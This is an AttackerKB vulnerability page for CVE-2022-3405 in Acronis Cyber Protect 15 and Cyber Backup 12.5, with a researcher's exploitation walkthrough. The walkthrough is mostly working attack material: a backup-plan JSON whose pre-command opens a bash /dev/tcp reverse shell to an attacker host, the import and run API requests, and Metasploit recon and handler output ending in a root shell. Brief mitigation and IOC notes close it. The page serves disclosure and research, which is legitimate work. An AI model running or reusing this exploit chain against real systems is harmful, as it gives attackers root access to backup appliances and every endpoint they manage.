Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Adjacent_network
1

CVE-2022-3405

Disclosure Date: May 03, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated
Validated

Description

Code execution and sensitive information disclosure due to excessive privileges assigned to Acronis Agent. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.

Add Assessment

1
Ratings
Technical Analysis

In my previous attackerkb article CVE-2022-30995 I explained the vulnerability where an unauthenticated attacker can gain administrative access to the Acronis Cyber protect 15 / Backup 12.5 appliance and disclose sensitive information of the configured endpoint backup targets.
This article is a follow-up of that attack sequence where we actually will exploit this vulnerability and get root access on the appliance itself or one of the configured endpoint backup targets.

This vulnerability has a CVSS v3 Base Score of 8.8 which I personally think is underrated because this exploit allows you to get root or administrator access on the appliance and literally all endpoint backup targets that are configured within the appliance. A rating of 9.8 or 10 would be more appropriate here.

Let’s get started…

For the initial attack sequence to get administrative access to the API using the access token, I refer back to my other article CVE-2022-30995 where this is described in detail.
Our journey starts with fact that we successfully captured the administrative access token which by the way is valid for 30 days ;–)

If you read the documentation of the appliance, you will find a few interesting sections with application logic that opens up an avenue to execute remote commands. One particular section describes the creation of a backup plan on an endpoint target where you can configure pre- or post commands within the backup sequence. This is of course pretty cool because if we are able to use the API to configure a backup plan on particular endpoint with a pre-command that triggers a remote shell or meterpreter, then we have achieved our admin access on the endpoint.

A nice feature within the web console is that you can create a backup plan and export it to a json file which you can import again at the appliance. This will give you a good insight on the structure of a backup plan and how to manipulate the pre-command field in order to achieve a remote code execution.
I have posted an example below of this backup plan where the pre-command is configured with a payload triggering a remote bash shell.

Import backup plan API request

POST /api/ams/backup/plan_operations/import?createDraftOnError=true HTTP/1.1
Host: 192.168.201.6:9877
Content-Length: 10080
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ6ACTlaDLLwA3mQ2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://192.168.201.6:9877
Referer: http://192.168.201.6:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer REDACTED access_token
Connection: keep-alive

------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2
Content-Disposition: form-data; name="planfile"; filename="cuckoo.json"
Content-Type: application/json

{
  "allowedActions": [
    "rename",
    "revoke",
    "runNow"
  ],
  "allowedBackupTypes": [
    "full",
    "incremental"
  ],
  "backupType": "files",
  "bootableMediaPlan": false,
  "editable": true,
  "enabled": true,
  "id": "F37FDF40-45BF-4ECD-A166-9D0345EB099D",
  "locations": {
    "data": [
      {
        "displayName": "/tmp",
        "id": "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"/tmp\"]]",
        "type": "local_folder"
      }
    ]
  },
  "name": "Oepsie You are Pawned!!!",
  "options": {
    "backupOptions": {
      "prePostCommands": {
        "postCommands": {
          "command": "",
          "commandArguments": "",
          "continueOnCommandError": false,
          "waitCommandComplete": true,
          "workingDirectory": ""
        },
        "preCommands": {
          "command": "bash -c '0<&216-;exec 216<>/dev/tcp/192.168.201.8/1971;sh <&216 >&216 2>&216'",
          "commandArguments": "",
          "continueOnCommandError": true,
          "waitCommandComplete": false,
          "workingDirectory": ""
        },
        "useDefaultCommands": false,
        "usePostCommands": false,
        "usePreCommands": true
      },
      "prePostDataCommands": {
        "postCommands": {
          "command": "",
          "commandArguments": "",
          "continueOnCommandError": false,
          "waitCommandComplete": true,
          "workingDirectory": ""
        },
        "preCommands": {
          "command": "",
          "commandArguments": "",
          "continueOnCommandError": false,
          "waitCommandComplete": true,
          "workingDirectory": ""
        },
        "useDefaultCommands": true,
        "usePostCommands": false,
        "usePreCommands": false
      },
      "scheduling": {
        "interval": {
          "type": "minutes",
          "value": 30
        },
        "type": "distributeBackupTimeOptions"
      },
      "simultaneousBackups": {
        "simultaneousBackupsNumber": null
      },
      "snapshot": {
        "quiesce": true,
        "retryConfiguration": {
          "reattemptOnError": true,
          "reattemptTimeFrame": {
            "type": "minutes",
            "value": 5
          },
          "reattemptsCount": 3,
          "silentMode": false
        }
      },
      "taskExecutionWindow": {},
      "taskFailureHandling": {
        "periodBetweenRetryAttempts": {
          "type": "hours",
          "value": 1
        },
        "retryAttempts": 1,
        "retryFailedTask": false
      },
      "taskStartConditions": {
        "runAnyway": false,
        "runAnywayAfterPeriod": {
          "type": "hours",
          "value": 1
        },
        "waitUntilMet": true
      },
      "validateBackup": false,
      "volumes": {
        "forceVssFullBackup": false,
        "useMultiVolumeSnapshot": true,
        "useNativeVssProvider": false,
        "useVolumeShadowService": true,
        "useVssFlags": [
          "definedRule"
        ]
      },
      "vssFlags": {
        "availableVssModes": [
          "auto",
          "system"
        ],
        "enabled": true,
        "value": "auto",
        "vssFullBackup": false
      },
      "windowsEventLog": {
        "isGlobalConfigurationUsed": true,
        "traceLevel": "warning",
        "traceState": false
      },
      "withHWSnapshot": false
    },
    "specificParameters": {
      "inclusionRules": {
        "rules": [
          "/mnt"
        ],
        "rulesType": "centralizedFiles"
      },
      "type": ""
    }
  },
  "origin": "centralized",
  "route": {
    "archiveSlicing": null,
    "stages": [
      {
        "archiveName": "[Machine Name]-[Plan ID]-[Unique ID]A",
        "cleanUpIfNoSpace": false,
        "cleanup": {
          "time": [
            {
              "backupSet": "daily",
              "period": {
                "type": "days",
                "value": 7
              }
            },
            {
              "backupSet": "weekly",
              "period": {
                "type": "weeks",
                "value": 4
              }
            }
          ],
          "type": "cleanupByTime"
        },
        "destinationKind": "local_folder",
        "locationScript": null,
        "locationUri": "/tmp",
        "locationUriType": "local",
        "maintenanceWindow": null,
        "postAction": {
          "convertToVMParameters": {
            "agentIds": [],
            "cpuCount": null,
            "diskAllocationType": "thick",
            "displayedName": null,
            "enabled": false,
            "exactMemorySize": false,
            "infrastructureType": "",
            "memorySize": null,
            "networkAdapters": [],
            "virtualMachineName": "",
            "virtualServerHost": null,
            "virtualServerHostKey": "[[\"ItemType\",\"\"],[\"LocalID\",\"\"]]",
            "virtualServerStorage": ""
          }
        },
        "rules": [
          {
            "afterBackup": true,
            "backupCountUpperLimit": 0,
            "backupSetIndex": "daily",
            "backupUpperLimitSize": 0,
            "beforeBackup": false,
            "consolidateBackup": false,
            "deleteOlderThan": {
              "type": "days",
              "value": 7
            },
            "deleteYongerThan": {
              "type": "days",
              "value": 0
            },
            "onSchedule": false,
            "retentionSchedule": {
              "alarms": [],
              "conditions": [],
              "maxDelayPeriod": -1,
              "maxRetries": 0,
              "preventFromSleeping": true,
              "retryPeriod": 0,
              "type": "none",
              "unique": false,
              "waitActionType": "run"
            },
            "stagingOperationType": "justCleanup"
          },
          {
            "afterBackup": true,
            "backupCountUpperLimit": 0,
            "backupSetIndex": "weekly",
            "backupUpperLimitSize": 0,
            "beforeBackup": false,
            "consolidateBackup": false,
            "deleteOlderThan": {
              "type": "weeks",
              "value": 4
            },
            "deleteYongerThan": {
              "type": "days",
              "value": 0
            },
            "onSchedule": false,
            "retentionSchedule": {
              "alarms": [],
              "conditions": [],
              "maxDelayPeriod": -1,
              "maxRetries": 0,
              "preventFromSleeping": true,
              "retryPeriod": 0,
              "type": "none",
              "unique": false,
              "waitActionType": "run"
            },
            "stagingOperationType": "justCleanup"
          }
        ],
        "useProtectionPlanCredentials": true,
        "validationRules": null
      }
    ]
  },
  "scheme": {
    "parameters": {
      "backupSchedule": {
        "kind": {
          "dataType": "binary",
          "type": "full"
        },
        "schedule": {
          "alarms": [
            {
              "beginDate": {
                "day": 0,
                "month": 0,
                "year": 0
              },
              "calendar": {
                "days": 65,
                "type": "weekly",
                "weekInterval": 0
              },
              "distribution": {
                "enabled": false,
                "interval": 0,
                "method": 0
              },
              "endDate": {
                "day": 0,
                "month": 0,
                "year": 0
              },
              "machineWake": false,
              "repeatAtDay": {
                "endTime": {
                  "hour": 0,
                  "minute": 0,
                  "second": 0
                },
                "timeInterval": 0
              },
              "runLater": false,
              "skipOccurrences": 0,
              "startTime": {
                "hour": 23,
                "minute": 0,
                "second": 0
              },
              "startTimeDelay": 0,
              "type": "time",
              "utcBasedSettings": false
            }
          ],
          "conditions": [],
          "maxDelayPeriod": -1,
          "maxRetries": 0,
          "preventFromSleeping": true,
          "retryPeriod": 0,
          "type": "daily",
          "unique": false,
          "waitActionType": "run"
        }
      },
      "backupTypeRule": "byScheme"
    },
    "schedule": {
      "daysOfWeek": [
        "monday",
        "tuesday",
        "wednesday",
        "thursday",
        "friday"
      ],
      "effectiveDates": {
        "from": {
          "day": 0,
          "month": 0,
          "year": 0
        },
        "to": {
          "day": 0,
          "month": 0,
          "year": 0
        }
      },
      "machineWake": false,
      "preventFromSleeping": true,
      "runLater": false,
      "startAt": {
        "hour": 23,
        "minute": 0,
        "second": 0
      },
      "type": "daily"
    },
    "type": "weekly_full_daily_inc"
  },
  "sources": {
    "data": [
      {
        "displayName": "cuckoo",
        "hostID": "65A7924F-3CFB-4EEE-8D95-D5201278D8C1",
        "id": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks"
      }
    ]
  },
  "target": {
    "inclusions": [
      {
        "key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks",
        "resource_key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks"
      }
    ]
  },
  "tenant": {
    "id": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks",
    "locator": "/phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks/",
    "name": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks",
    "parentID": ""
  }
}
------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2--

Response
If successful, it will return the planId that can be used to execute the backup plan on a specific endpoint.

HTTP/1.1 200 OK
Cache-Control: no-cache
Cache-Control: no-cache
Content-Length: 169
Content-Type: application/json
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:;
Date: Sat, 19 Oct 2024 16:01:13 GMT
Expires: -1
Pragma: no-cache
Server: Werkzeug/0.9.3 Python/3.5.3
Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IjIxZWZlM2I5NThiNzE4YTAyNDIyODJmNzU3NWE1NjNjZGY1MTQwMmFjNGM3ZjZjMzUyYTc4Y2IxNjYxMDhmYTUifQ.GfVpSQ.pf1qJZH04xv1xv9ywxE_tbxD8ro; Secure; HttpOnly; Path=/
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:;
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Internal-Request-Id: RGLvjgwjYDSQz8eZnvXuwn
X-Request-Id: hXoxoawUe5u3E44naHSuvc
X-Xss-Protection: 1; mode=block

{
   "data":
      {
         "failedFiles": [],
          "importedPlans": [
              {
                 "planId": "2EA2CE9D-6AB7-495D-906A-6E12FADF43CF",
                 "fileName": "cuckoo.json",
                 "draftId": "00000000-0000-0000-0000-000000000000"
              }
           ]
      }
}

It is important to understand that you need to assign a backup plan to a specific endpoint target which is defined in the appliance. You will need three important identifiers:
[+] hostId
[+] parentId
[+] key

You can collect this information with Metasploit recon module that you can find here Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure.

msf6 > use auxiliary/gather/acronis_cyber_protect_machine_info_disclosure
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
[*] Running module against 192.168.201.6

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
[*] ----------------------------------------
[+] hostId: 65A7924F-3CFB-4EEE-8D95-D5201278D8C1
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks
[*] type: machine
[*] hostname: AcronisAppliance-365C2
[*] IP: 192.168.201.6
[*] OS: GNU/Linux
[*] ARCH: linux
[*] ONLINE: true
[*] Auxiliary module execution completed
msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) >

If you have assigned an endpoint target (see the Import backup plan API request), then simply execute the backup plan using the planId and you will trigger a remote shell.

POST /api/ams/backup/plan_operations/run HTTP/1.1
Host: 192.168.201.6:9877
Content-Length: 49
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://192.168.201.6:9877
Referer: http://192.168.201.6:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer REDACTED access_token
Connection: keep-alive

{
     "planId":"2EA2CE9D-6AB7-495D-906A-6E12FADF43CF"
}

When running a multi/handler in Metasploit configured with remote bash shell payload, it will trigger the RCE.

msf6 exploit(multi/handler) > options

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT  1971             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:1971
msf6 exploit(multi/handler) > [*] Command shell session 2 opened (192.168.201.8:1971 -> 192.168.201.6:42780) at 2024-12-06 09:40:42 +0000

msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

pwd
/var/lib/Acronis/mms
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux AcronisAppliance-365C2 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

I have created a Metasploit module with PR 19853 that exploits this vulnerability and performs a remote code execution in order to gain root or administrator access on the targeted endpoint. You can configure a specific endpoint using the id information collected by the recon Metasploit module PR 19582 or if not specified, it will target the appliance itself.

Mitigation

Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.

Indicators of Compromise (IOC)

Please check at the web console for suspicious backup plan executions that might popup in the activity or alert list.

References

CVE-2022-3405
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Acronis Cyber Protect 15 Documentation
Metasploit PR 19583 – Acronis Cyber Backup/Protect Remote Code Execution.
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure

Credits goes to

Sandro Tolksdorf of usd AG for the discovery of this vulnerability.

CVSS V3 Severity and Metrics
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Adjacent_network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • acronis

Products

  • cyber backup 12.5,
  • cyber protect 15

Additional Info

Technical Analysis